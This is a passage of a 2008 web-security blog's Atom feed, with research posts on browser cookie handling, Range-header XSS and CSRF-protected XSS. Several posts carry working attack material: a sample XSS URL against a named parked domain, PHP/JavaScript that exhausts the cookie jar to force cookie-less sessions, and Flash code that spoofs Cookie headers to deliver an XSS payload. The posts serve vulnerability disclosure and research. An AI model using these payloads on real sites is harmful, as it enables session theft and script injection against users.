href='http://kuza55.blogspot.com/2008/07/licensing-content.html' title='Licensing Content'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6085720172882642613</id><published>2008-07-12T19:09:00.007+10:00</published><updated>2008-07-12T19:23:32.452+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Some Random Safari Notes</title><content type='html'>I got to take a quick look at some Safari stuff at work a few days ago, and came away with a few notes that I thought might interest people about Safari:&lt;br /&gt;&lt;br /&gt;Cross-Site Cooking works the same way as it does in Firefox 2.0, namely it works just as the RFC describes and we can set cookies for .co.uk, .com.au, etc.&lt;br /&gt;&lt;br /&gt;HttpOnly is not supported.&lt;br /&gt;&lt;br /&gt;Safari parses Set-Cookie headers like the RFC says, which means that cookies are comma separated (no other browsers seem to do this), which means that in ASP.NET and JSP, when you use the framework's method of setting cookies and you let the user control the value, they can inject arbitrary cookies by specifying something like ", arbitrary_name=arbitrary_value" as the cookie value.&lt;br /&gt;&lt;br /&gt;Referers are not leaked from https to http, but are leaked from one https site to another https site.&lt;br /&gt;&lt;br /&gt;The safari cache (at lest on windows) is an SQLite database where all the data is double hex encoded; it looks something like X'aabbccddeeff, etc, and when you strip the first two chars and decode it you get another blob which looks identical to the first one, which you then need to decode the same way and you get an XML document with the data, I wrote this dodgy PHP function to do the conversion for me: (you need to call it twice on the blob you extract from the database)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre&gt;function decode_blob ($blob) {&lt;br /&gt; $ret = "";&lt;br /&gt; for ($i=2,$c=strlen($blob);$i&lt;$c;$i+=2) {&lt;br /&gt;  $ret .= chr(hexdec ($blob[$i].$blob[$i+1]));&lt;br /&gt; }&lt;br /&gt; return $ret;&lt;br /&gt;}&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;On the iPhone (emulator at least; I didn't get to use an actual iPhone), the last character of the password field is shown before you type the next one in (and untill the field loses focus); this makes sense since it's hard to type on iPhones, but it's still curious.&lt;br /&gt;&lt;br /&gt;Safari on the iPhone (emulator, again) doesn't seem to actually close, so unless you close the emulator (I'm assuming this is equivalent to turning off your iPhone; if that's even possible), all session cookies persist.&lt;br /&gt;&lt;br /&gt;Hope that helps someone.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6085720172882642613?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6085720172882642613/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6085720172882642613' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6085720172882642613'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6085720172882642613'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/07/some-random-safari-notes.html' title='Some Random Safari Notes'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1531338540935122181</id><published>2008-07-04T15:29:00.002+10:00</published><updated>2008-07-04T15:35:58.474+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Encoding'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Cookie Path Traversal</title><content type='html'>Not sure if anyone actually cares about this, but thought I might just throw it out here: I found out a while ago that if a server is running IIS (or something else which accepts windows-style paths), then it is possible to get cookies sent to paths that they do not belong to by using an encoded backslash to indicate a directory delimiter like this: http://www.microsoft.com/en/us/test/..%5Cdefault.aspx&lt;br /&gt;&lt;br /&gt;It works on all the browsers I tested (latest versions of IE, Firefox, Opera &amp; Safari).&lt;br /&gt;&lt;br /&gt;Not really useful, maybe on the off chance that, say, you need httpOnly cookies for some reason, and you can see headers for part of a path (e.g. because there's a phpinfo page in the root, but the cookie is for /app), or whatever, supposedly this was considered a security issue by Secunia way back when you could use %2e%2e/ on all servers in all browsers: http://secunia.com/advisories/9680/ (Though I think the premise for that bug is that you can't jump pages, which is of course wrong)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1531338540935122181?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1531338540935122181/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1531338540935122181' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1531338540935122181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1531338540935122181'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/07/cookie-path-traversal.html' title='Cookie Path Traversal'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-8034990613283736848</id><published>2008-06-08T20:21:00.004+10:00</published><updated>2008-08-29T22:44:38.537+10:00</updated><title type='text'>Web Browsers and Other Mistakes</title><content type='html'>If anyone's interested, I uploaded my Bluehat slides here: &lt;a href="http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/"&gt;http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/&lt;/a&gt; (view online) and here: &lt;a href="http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/download"&gt;http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/download&lt;/a&gt; (download ppt)&lt;br /&gt;&lt;br /&gt;Hopefully you get something out of them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-8034990613283736848?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/8034990613283736848/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=8034990613283736848' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8034990613283736848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8034990613283736848'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/06/web-browsers-and-other-mistakes.html' title='Web Browsers and Other Mistakes'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-743102692166639507</id><published>2008-04-12T22:16:00.006+10:00</published><updated>2008-04-12T23:00:32.556+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>How much do you trust your DNS operator?</title><content type='html'>TechCrunch recently &lt;a href="http://www.techcrunch.com/2008/04/08/network-solutions-hijacking-unassigned-sub-domains/"&gt;broke a story about Network Solutions hijacking users' unused subdomains for advertising&lt;/a&gt;. It seems to have only applied to people using Network Solutions for their shared hosting, and seems to have been removed now. (None of the IPs I tested on the same machine returned advertising for their non-existent subdomains) And on top of that we know that anyone who is on shared hosting is &lt;a href="http://www.mcgrewsecurity.com/?p=99"&gt;pretty easy pickings&lt;/a&gt; anyway, so this would seem to be a non-issue regarding security.&lt;br /&gt;&lt;br /&gt;But Network Solutions doesn't exactly have the cleanest record in terms of ethics and there isn't anything technically stopping Network Solutions or any other company operating NS servers for your domain doing the same thing even if they're not hosting your content.&lt;br /&gt;&lt;br /&gt;So given that this is a security blog, and definitely not an ethics blog, why am I talking about this? Because it introduces security problems.&lt;br /&gt;&lt;br /&gt;As I talked about in previous posts about cookies, they are almost always sent to subdomains, and if your DNS operator implements something like this then all your users' cookies are being sent to your DNS operator's servers, which means that your cookies are taking two specific network paths which both have to be secure for your credentials to remain safe (three if you count that the DNS request has to be safe).&lt;br /&gt;&lt;br /&gt;Now you may trust that your DNS provider isn't going to do anything intentionally malicious with the cookies, and are probably making the valid point that worrying about people having owned other networks being a vague and impractical threat to defend most websites against, but there is a much simpler risk involved here.&lt;br /&gt;&lt;br /&gt;Network Solutions has made no effort to secure these pages from XSS, and why would you? They're essentially brochureware domains. Anyone who has probed a parked domain for XSS has probably seen that they have plenty of XSS holes, and the pages Network Solutions served for non-existent were the same pages that they serve on parked domains.&lt;br /&gt;&lt;br /&gt;So after googling to find a parked Network Solutions domain, I found it was unsurprisingly trivial to &lt;a href="http://networksolutions-backorder.com/%3Cscript%3Ealert%281%29%3C/script%3E.cfm?pt=2"&gt;XSS it via the search field&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So; how much do you trust your DNS operator?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-743102692166639507?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/743102692166639507/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=743102692166639507' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/743102692166639507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/743102692166639507'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/04/do-you-trust-your-dns-operator.html' title='How much do you trust your DNS operator?'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-561784177162602424</id><published>2008-02-23T10:10:00.006+11:00</published><updated>2008-02-27T09:02:24.089+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>HTTP Range &amp; Request-Range Request Headers</title><content type='html'>For those that haven't heard of the Range header, here's a link: &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.2"&gt;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For everyone who can't be bothered reading a link; essentially the Range header is what you use to ask a server for a part of a response, rather than the whole response; it's what makes resumeable downloads possible over http.&lt;br /&gt;&lt;br /&gt;Anyway, another piece of research I presented at 24c3 is pretty simply, but rather useful:&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Flash&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;If Flash were to allow us to send a Range header, then we would be able to get things sent to us completely out of context.&lt;br /&gt;&lt;br /&gt;Until Apache 2.0 this header was only used when requesting static files, so it would not influence a typical XSS, however if we have an application such as vBulletin which protects against FindMimeFromData XSS attacks by searching the first 256 bytes for certain strings, then we can simply place our strings after the first 256 bytes and get Flash to send a header which looks like this:&lt;br /&gt;&lt;code&gt;Range: bytes=257-2048&lt;/code&gt;&lt;br /&gt;To have unscanned data sent in the first 256 bytes, leading to XSS.&lt;br /&gt;&lt;br /&gt;However since Apache 2.0 (and possibly in other webservers, but they're irrelevant to this post), the Range handling code is implemented as a filter; this means that it is applied to the output of every request, even if they are dynamic requests.&lt;br /&gt;&lt;br /&gt;This means that if we were to have a normally unexploitable XSS condition where our use input was printed to the page inside an attribute with quotes either encoded or stripped, but all other metacharacters left intact, or an xss filter did not encode the html attributes you had at all like so:&lt;br /&gt;&lt;code&gt;&amp;lt;a href=“http://site.com/&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;”&amp;gt;link&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Then we could use the Range header to request only our unencoded portion which would result in XSS.&lt;br /&gt;&lt;br /&gt;Now, why is this important since Flash has never let anyone send a Range header?&lt;br /&gt;&lt;br /&gt;Well, while looking through the Apache source code I found this beautiful snippet:&lt;br /&gt;&lt;code&gt;if (!(range = apr_table_get(r-&gt;headers_in, "Range"))) {&lt;br /&gt;range = apr_table_get(r-&gt;headers_in, "Request-Range");&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Which essentially says that if you can't find a Range header, look for a Request-Range header, and untill the latest version of Flash (9,0,115,0), the Request-Range header was not blocked. (I had hoped this would be unpatched when I presented it, but you can't really hope for much when you sit on a bug for almost half a year...)&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Firefox&lt;/h2&gt;&lt;br /&gt;Now the part I didn't present. In Firefox 3 Firefox implemented the new Cross-Site XMLHttpRequest which, as the name suggests, lets you make cross-site requests and read the responses.&lt;br /&gt;&lt;br /&gt;There is some documentation here: &lt;a href="http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest"&gt;http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The part of those specs which is relevant to this post is that you can allow Cross-Site XMLHttpRequests by including an XML preprocessing instruction; however you can't just XSS it onto the page as usual because it needs to be before any other data.&lt;br /&gt;&lt;br /&gt;However, the XMLHttpRequest object allows you to append both Range and Request-Range headers. And by appending a Range header we can get our XSS-ed instruction to the start of the response, and read the response.&lt;br /&gt;&lt;br /&gt;The limitations with this are fairly strict; as far as I can tell, you cannot add to the XHR policy cache  with xml instructions, only with headers, and if you attempt to request multiple ranges, then the multi-part boundary which begins the response will be sent before the xml instruction, and so it will not be parsed, so you can only get the contents of the page that are after your XSS point. On the other hand I wasn't even able to get non-GET requests to work with server-side co-operation, so take these with a handful of salt.&lt;br /&gt;&lt;br /&gt;On the up side, this does bypass the .NET RequestValidation mechanism since that does not flag on &amp;lt;? However, I doubt this will be very exploitable in many scenarios, though given the amount of .NET apps which are only protected by the RequestValidation mechanism; you're sure to find something.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-561784177162602424?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/561784177162602424/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=561784177162602424' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/561784177162602424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/561784177162602424'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/02/http-range-request-range-request.html' title='HTTP Range &amp; Request-Range Request Headers'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5780190949897089829</id><published>2008-02-22T13:09:00.000+11:00</published><updated>2008-02-22T13:18:24.928+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><title type='text'>Racing to downgrade users to cookie-less authentication</title><content type='html'>Be warned: this post is a bit out there, and not extremely practical, but I'm posting exploit code and I thought the attack was fun.&lt;br /&gt;&lt;br /&gt;If you ever disable cookies and try to use the web you will notice that a surprising number of websites that use sessions still work, especially if they are using a session management framework or were written during the browser wars when a significant number of people still didn't have cookie support in their browser, or were suspicious enough to have them disabled.&lt;br /&gt;&lt;br /&gt;All of the cookie-less authentication systems rely on the same idea: passing session tokens through the URL. Other than being bad practice because it gets logged, etc, FUD, etc, they also get leaked through referers to 3rd parties. So if we can get an persistent image pointing to our server, then we will have the session tokens leaked to us. And it does have to be persistent, because unlike cookies, session tokens passed in the URL are not implicit and are not attached to our reflected html injections.&lt;br /&gt;&lt;br /&gt;However this is usually never raised as an issue because everyone has cookies enabled these days, and this attack doesn't work against anyone.&lt;br /&gt;&lt;br /&gt;However, how do web applications which need to work without JavaScript detect if a user's browsers supports cookies? They simply set a cookie, and then when the user logs in they verify whether a cookie was sent, and if it was not they then start putting the session id in all the links and forms on a page. Some applications also check on every subsequent page if they can set a cookie, and if they can there is no way to degrade to cookie-less auth again.&lt;br /&gt;&lt;br /&gt;As I wrote previously; I discovered that in Firefox and Opera we can exhaust the cookie limit to delete the user's old cookies.&lt;br /&gt;&lt;br /&gt;If we assume that we will have the user browsing both a site which degrades to cookie-less auth and our malicious site at the same time then if you think about this then you can see that there is a race condition between when the server sets the cookie and the user logs in (and in some applications between when a page is served and the next html request is made).&lt;br /&gt;&lt;br /&gt;The question is; can we win this race?&lt;br /&gt;&lt;br /&gt;In Firefox, it takes approximately 100 miliseconds on my machine to set 1000 cookies over 20 hostnames, with 1 hostname per iframe. So we can win any race.&lt;br /&gt;&lt;br /&gt;In my testing Opera is much faster at navigating between pages and setting cookies, however I'm still unsure if we can win this race in Opera.&lt;br /&gt;&lt;br /&gt;I think the code at the end of this post can be improved by having the iframes on hostnames which looks like a.b.c.d....z.123.ccTLD and are 256 characters long and is made up of 126 levels of hostnames, where the first 125 levels are single character portions, so as to maximise the number of levels on the hostname.&lt;br /&gt;&lt;br /&gt;And then in each iframe we would set the max number of cookies for .a.b.c.d....z.123.ccTLD then .b.c.d....z.123.ccTLD and then .c.d....z.123.ccTLD etc, until we set a cookie for 123.ccTLD - this would mean we do not havew to navigate between pages at all, and we could do opera's 65536 max cookie limit in 18 iframes; however before doing this we might have to force a lookup to all 2815 hostnames so that we don't hit a bottleneck in Opera's cross-site cooking code.&lt;br /&gt;&lt;br /&gt;However, if we cannot get things as fast as in Firefox, we may still be able to win some races.&lt;br /&gt;&lt;br /&gt;A lot depends on the application, but the easiest case is where we only have to win one race, and we can keep racing, such as the Phorum software which runs sla.ckers.org; it sets a temporary cookie which it checks the existence of when you login, and if it is not there when you login, it uses cookie-less auth for the whole session.&lt;br /&gt;&lt;br /&gt;So our race here is against how long it takes the user to fill in the login page; and considering that if we lose the race we end up deleting all the cookies, we simply race again and again.&lt;br /&gt;&lt;br /&gt;vBulletin on the other hand, is a much tougher beast. It tries to set a cookie on every page, even when you have begun using cookie-less auth, and also has a redirect page which redirects you in 2 seconds.&lt;br /&gt;&lt;br /&gt;So not only do we have to win every race until a user views our image, we also have to be able to beat a two second race.&lt;br /&gt;&lt;br /&gt;We can probably stop the redirect happening by simply running our code (which lags the system a bit), and winning the race like that, but winning the race 100% of the time may still be difficult, and would lag the system enough for the user to think of closing the tab/window.&lt;br /&gt;&lt;br /&gt;However, when we race we race against everything, so the code we use is identical between applications, and would only have to change between browsers.&lt;br /&gt;&lt;br /&gt;Anyway, here's some code for Firefox which spins when it doesn't need to be racing, i.e. when it has completely saturated the cookie jar and writing any additional cookie would simply overwrite earlier cookies that our script set, so that it only lags the system in bursts.&lt;br /&gt;&lt;br /&gt;You need to have 20 subdomains setup which point to the second file; the easiest way to do this is just wildcard DNS. And have the first file setup on the parent domain, e.g. [1-20].localhost &amp; localhost&lt;br /&gt;&lt;br /&gt;main.php:&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;document.domain = document.domain;&lt;br /&gt;&lt;br /&gt;var numloaded = 0;&lt;br /&gt;var tries = 0;&lt;br /&gt;&lt;br /&gt;function loaded() {&lt;br /&gt; if (++numloaded == 20) {&lt;br /&gt;  go();&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var numnotified = 0;&lt;br /&gt;&lt;br /&gt;function notify() {&lt;br /&gt; if (++numnotified == 20) {&lt;br /&gt;  numnotified = 0;&lt;br /&gt;  window.setTimeout ('poll()', 300);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var time = new Date();&lt;br /&gt;&lt;br /&gt;function go() {&lt;br /&gt; numnotified = 0;&lt;br /&gt; document.cookie = 'testing=1';&lt;br /&gt; for (var n=0;n&amp;lt;20;n++) {&lt;br /&gt;  window.frames[n].go();&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function poll() {&lt;br /&gt; var missing = 0;&lt;br /&gt; for (var n=0;n&amp;lt;20;n++) {&lt;br /&gt;  missing = missing + window.frames[n].poll();&lt;br /&gt; }&lt;br /&gt; if (missing&amp;gt;0) {&lt;br /&gt;  go();&lt;br /&gt; } else {&lt;br /&gt;  window.setTimeout ('poll()', 300);&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;for ($i=0;$i&amp;lt;20;$i++) {&lt;br /&gt; print '&amp;lt;iframe src="http://'.($i+1).'.localhost/cookie_sub.php" style="visibility: hidden" width="1" height="1"&amp;gt;&amp;lt;/iframe&amp;gt;';&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;cookie_sub.php:&lt;br /&gt;&lt;code&gt;&amp;lt;?php&lt;br /&gt;header ("Expires: Fri, 17 Dec 2010 10:00:00 GMT");  //To speed up repeated attacks&lt;br /&gt;?&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;br /&gt; document.domain = 'localhost';&lt;br /&gt; window.parent.loaded();&lt;br /&gt;&lt;br /&gt;function go() { &lt;br /&gt;&lt;br /&gt; for (var n=0;n&amp;lt;50;n++) {&lt;br /&gt;  document.cookie = n+"=1";&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; window.parent.notify();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function poll () {&lt;br /&gt; if (document.cookie.split('; ').length==50) {&lt;br /&gt;  return 0;&lt;br /&gt; } else {&lt;br /&gt;  return 1;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5780190949897089829?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5780190949897089829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5780190949897089829' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5780190949897089829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5780190949897089829'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2008/02/racing-to-downgrade-users-to-cookie.html' title='Racing to downgrade users to cookie-less authentication'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6474466993364015492</id><published>2008-02-22T13:08:00.007+11:00</published><updated>2008-02-22T13:19:56.257+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Exploiting CSRF Protected XSS</title><content type='html'>XSS vulnerabilities which are protected by CSRF protections, are usually considered unexploitable due to the fact that we have no way of predicting the CSRF token.&lt;br /&gt;&lt;br /&gt;However, these protections do nothing more than check that the user is first "logged in" and that the CSRF token they sent is tied to their session; nowhere in this chain of events is there a condition which states that an attacker must be forcing the victim to use their own session identifier (cookie).&lt;br /&gt;&lt;br /&gt;If we are able to force the victim to send a request which contains the attacker's cookie, CSRF token and XSS payload, then we will pass the CSRF protection checks and have script execution.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;A General Case&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;So how would we go about this? As I mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post, Flash (until 9,0,115,0 and not in IE) allows us to spoof the Cookie header for a single request, however this suffers from the same problem that we cannot completely over-write cookies; only add an additional Cookie header.&lt;br /&gt;&lt;br /&gt;This is indeed a possible attack vector though; if we first make sure the user is "logged out" (and also has no value for the login cookie) either by simply waiting, using a CSRF attack to log the user out (and hoping the website also clears it's cookies), or exhausting the browser's cookie limit, we can then add our own Cookie, CSRF token and XSS payload to the request using similar Flash code e.g.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;class Attack { &lt;br /&gt; static function main(mc) {&lt;br /&gt;  var req:LoadVars = new LoadVars();&lt;br /&gt;  req.addRequestHeader("Cookie", "PHPSESSID=our_valid_session_id");&lt;br /&gt;  req.x = "y";&lt;br /&gt;  req.send("http://site.com/page.php?csrf_token=our_csrf_token&amp;variable=&lt;xss&gt;",&lt;br /&gt;  "_self", "POST");&lt;br /&gt;  // Note: The method must be POST, and must contain&lt;br /&gt;  // POST data, otherwise headers don't get attached&lt;br /&gt; }&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Then the application will receive a request with our (the attacker's) session id, a valid CSRF token and our XSS payload from the victim's browser.&lt;br /&gt;&lt;br /&gt;Of course, the problem with this is that if the user is actually logged out (which we forced, due to our inability to simply over-write the cookie or stop it being sent) and the browser no longer has the victim's cookies, the only attacks we have from this point are the other attacks mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post. And while this is not ideal, it does at least give us something other than an unexploitable XSS.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Cookie tricks&lt;/h2&gt;&lt;br /&gt;Again, with this technique we can also set a cookie for the specific path, either by having an XSS on a related subdomain or by abusing a cros-site cooking bug, and then the user will still have their original cookie intact and we can simply remove our own cookie from the user's browser once our XSS has fired.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Abusing RequestRodeo&lt;/h2&gt;&lt;br /&gt;Another case where the user would be logged out is the case where we can somehow get the cookies stripped from the user's request.&lt;br /&gt;&lt;br /&gt;The technique I presented at 24c3 talked about abusing one such piece of software which stripped cookies; the &lt;a href="http://www.nongnu.org/requestrodeo/"&gt;RequestRodeo Firefox extension&lt;/a&gt; which was created by Martin Johns and Justus Winter which does a good job of protecting against a lot of CSRF attacks by stripping cookies from requests originating from 3rd party sites (i.e. a request going to site.com which was induced by evil.com will not have any cookies attached to it). Which is just what we need.&lt;br /&gt;&lt;br /&gt;Of course, this is a nice place to note that this is of course a niche piece of software that doesn't really provide a valid avenue for exploitation in almost any scenario, but as I explained in my post "Understanding Cookie Security" we can also delete all a users' cookies by exhausting the browser's global limit on on the amount of cookies it will store.&lt;br /&gt;&lt;br /&gt;Anyway, given that RequestRodeo all cookies (including the ones we are attempting to send via Flash), we still face the problem that we need to be sending a valid session identifier for which we need to be sending a valid CSRF token. We do not face this problem when we remove the user's cookies, and can use the Flash approach outlined above, but we can also use this approach, which has the added benifit of still working on everyone (not just those who are unpatched).&lt;br /&gt;&lt;br /&gt;Anyway, one interesting feature of PHP and other frameworks is that they accept session identifiers through the URL. This has of course led to easily exploitable Session Fixation attacks; however in PHP at least, if a cookie is being sent, then the value in the URL is completely ignored.&lt;br /&gt;&lt;br /&gt;In our case, no cookie is being sent, since it is either being stripped by RequestRodeo, or has been deleted by us, so we can simply supply our session identifier through the URL, attach our CSRF token and XSS payload and we're done, except in this case the browser still has the user's cookies, and our XSS functions like normal.&lt;br /&gt;&lt;br /&gt;The result of this attack is the same as the above if we have deleted the cookies from the user's browser, however if we have stripped the cookies with RequestRodeo or some similar 